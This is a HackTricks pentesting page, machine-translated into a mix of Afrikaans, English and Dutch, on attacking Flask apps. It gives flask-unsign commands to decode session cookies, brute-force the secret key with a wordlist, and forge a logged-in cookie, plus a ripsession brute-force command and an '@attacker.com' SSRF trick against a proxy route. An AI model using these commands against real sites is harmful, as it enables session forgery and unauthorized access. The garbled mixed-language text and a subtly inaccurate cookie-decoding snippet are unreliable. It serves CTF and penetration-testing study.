9.8 KiB
Flask
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Waarskynlik, as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met SSTI.
Koekies
Die verstek koekiesessienaam is session
.
Decoder
Aanlyn Flask-koekiesontleder: https://www.kirsle.net/wizards/flask-session.cgi
Handleiding
Kry die eerste deel van die koekie tot by die eerste punt en dekodeer dit met Base64>
echo "ImhlbGxvIg" | base64 -d
Die koekie word ook onderteken met behulp van 'n wagwoord
Flask-Unsign
Opdraglyninstrument om sessiekoekies van 'n Flask-toepassing te haal, te ontsyfer, te kragteloos te maak en te skep deur geheime sleutels te raai.
{% embed url="https://pypi.org/project/flask-unsign/" %}
pip3 install flask-unsign
Dekodeer Koekie
To decode a Flask cookie, you can use the itsdangerous
library. This library provides a URLSafeSerializer
class that allows you to serialize and deserialize data in a secure way.
Here's an example of how you can decode a Flask cookie using itsdangerous
:
from itsdangerous import URLSafeSerializer
def decode_cookie(cookie_value, secret_key):
serializer = URLSafeSerializer(secret_key)
try:
decoded_data = serializer.loads(cookie_value)
return decoded_data
except Exception as e:
print(f"Error decoding cookie: {e}")
return None
In the code above, the decode_cookie
function takes the cookie value and the secret key as parameters. It creates an instance of the URLSafeSerializer
class with the secret key, and then uses the loads
method to decode the cookie value. If an error occurs during the decoding process, it will print an error message and return None
.
Remember to replace secret_key
with the actual secret key used to sign the cookie.
You can use this function to decode Flask cookies and extract the data stored in them. However, keep in mind that decoding a cookie does not guarantee the integrity or authenticity of the data. It is always recommended to validate and sanitize the data before using it.
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
Brute Krag
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Ondertekening
Signing is a process used to ensure the integrity and authenticity of data. In the context of web applications, signing is often used to prevent tampering with data sent between the client and the server.
Ondertekening is 'n proses wat gebruik word om die integriteit en egtheid van data te verseker. In die konteks van webtoepassings word ondertekening dikwels gebruik om te voorkom dat data wat tussen die kliënt en die bediener gestuur word, gewysig word.
When a client sends a request to the server, the server can sign the response using a secret key. This signature is then sent back to the client along with the response. The client can verify the integrity of the response by recalculating the signature using the same secret key and comparing it to the received signature.
Wanneer 'n kliënt 'n versoek na die bediener stuur, kan die bediener die antwoord onderteken deur 'n geheime sleutel te gebruik. Hierdie handtekening word dan saam met die antwoord terug na die kliënt gestuur. Die kliënt kan die integriteit van die antwoord verifieer deur die handtekening opnuut te bereken met dieselfde geheime sleutel en dit te vergelyk met die ontvangde handtekening.
Signing can also be used to authenticate the source of the data. By using a secret key known only to the server, the client can trust that the response came from the legitimate server and has not been tampered with.
Ondertekening kan ook gebruik word om die bron van die data te verifieer. Deur 'n geheime sleutel te gebruik wat slegs aan die bediener bekend is, kan die kliënt vertrou dat die antwoord van die regmatige bediener afkomstig is en nie gewysig is nie.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Ondertekening met behulp van oude (verouderde versies)
In sommige gevallen kan het nodig zijn om een applicatie te hacken die gebruikmaakt van een verouderde versie van Flask. Deze oudere versies kunnen kwetsbaarheden bevatten die kunnen worden misbruikt om toegang te krijgen tot de applicatie.
Een van de mogelijke aanvalstechnieken is het ondertekenen van gegevens met behulp van een verouderde versie van Flask. Deze techniek maakt gebruik van een zwakke handtekeningmethode die kan worden misbruikt om de handtekening te vervalsen en ongeautoriseerde toegang te verkrijgen.
Om deze techniek toe te passen, moet je eerst de versie van Flask identificeren die wordt gebruikt door de applicatie. Dit kan worden gedaan door de HTTP-responsheaders te controleren of door de broncode van de applicatie te analyseren.
Zodra je de versie hebt geïdentificeerd, kun je de juiste exploit gebruiken om de handtekening te vervalsen. Dit kan worden gedaan door de zwakke punten in de handtekeningmethode van de verouderde Flask-versie te benutten.
Het is belangrijk op te merken dat deze techniek alleen van toepassing is op oudere versies van Flask en mogelijk niet werkt op recentere versies. Het is altijd raadzaam om de nieuwste versie van Flask te gebruiken om mogelijke beveiligingslekken te voorkomen.
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Opdraglyninstrument om webwerwe te brute-force met behulp van koekies wat met flask-unsign saamgestel is.
{% embed url="https://github.com/Tagvi/ripsession" %}
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi in Flask-sessiekoekie met SQLmap
Hierdie voorbeeld gebruik die sqlmap eval
opsie om outomaties sqlmap payloads te onderteken vir Flask deur gebruik te maak van 'n bekende geheim.
Flask Proxy na SSRF
In hierdie uiteensetting word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
GET @/ HTTP/1.1
Host: target.com
Connection: close
Watter een van die volgende scenario's:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Kan toelaat om iets soos "@attacker.com" in te voer om 'n SSRF te veroorsaak.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.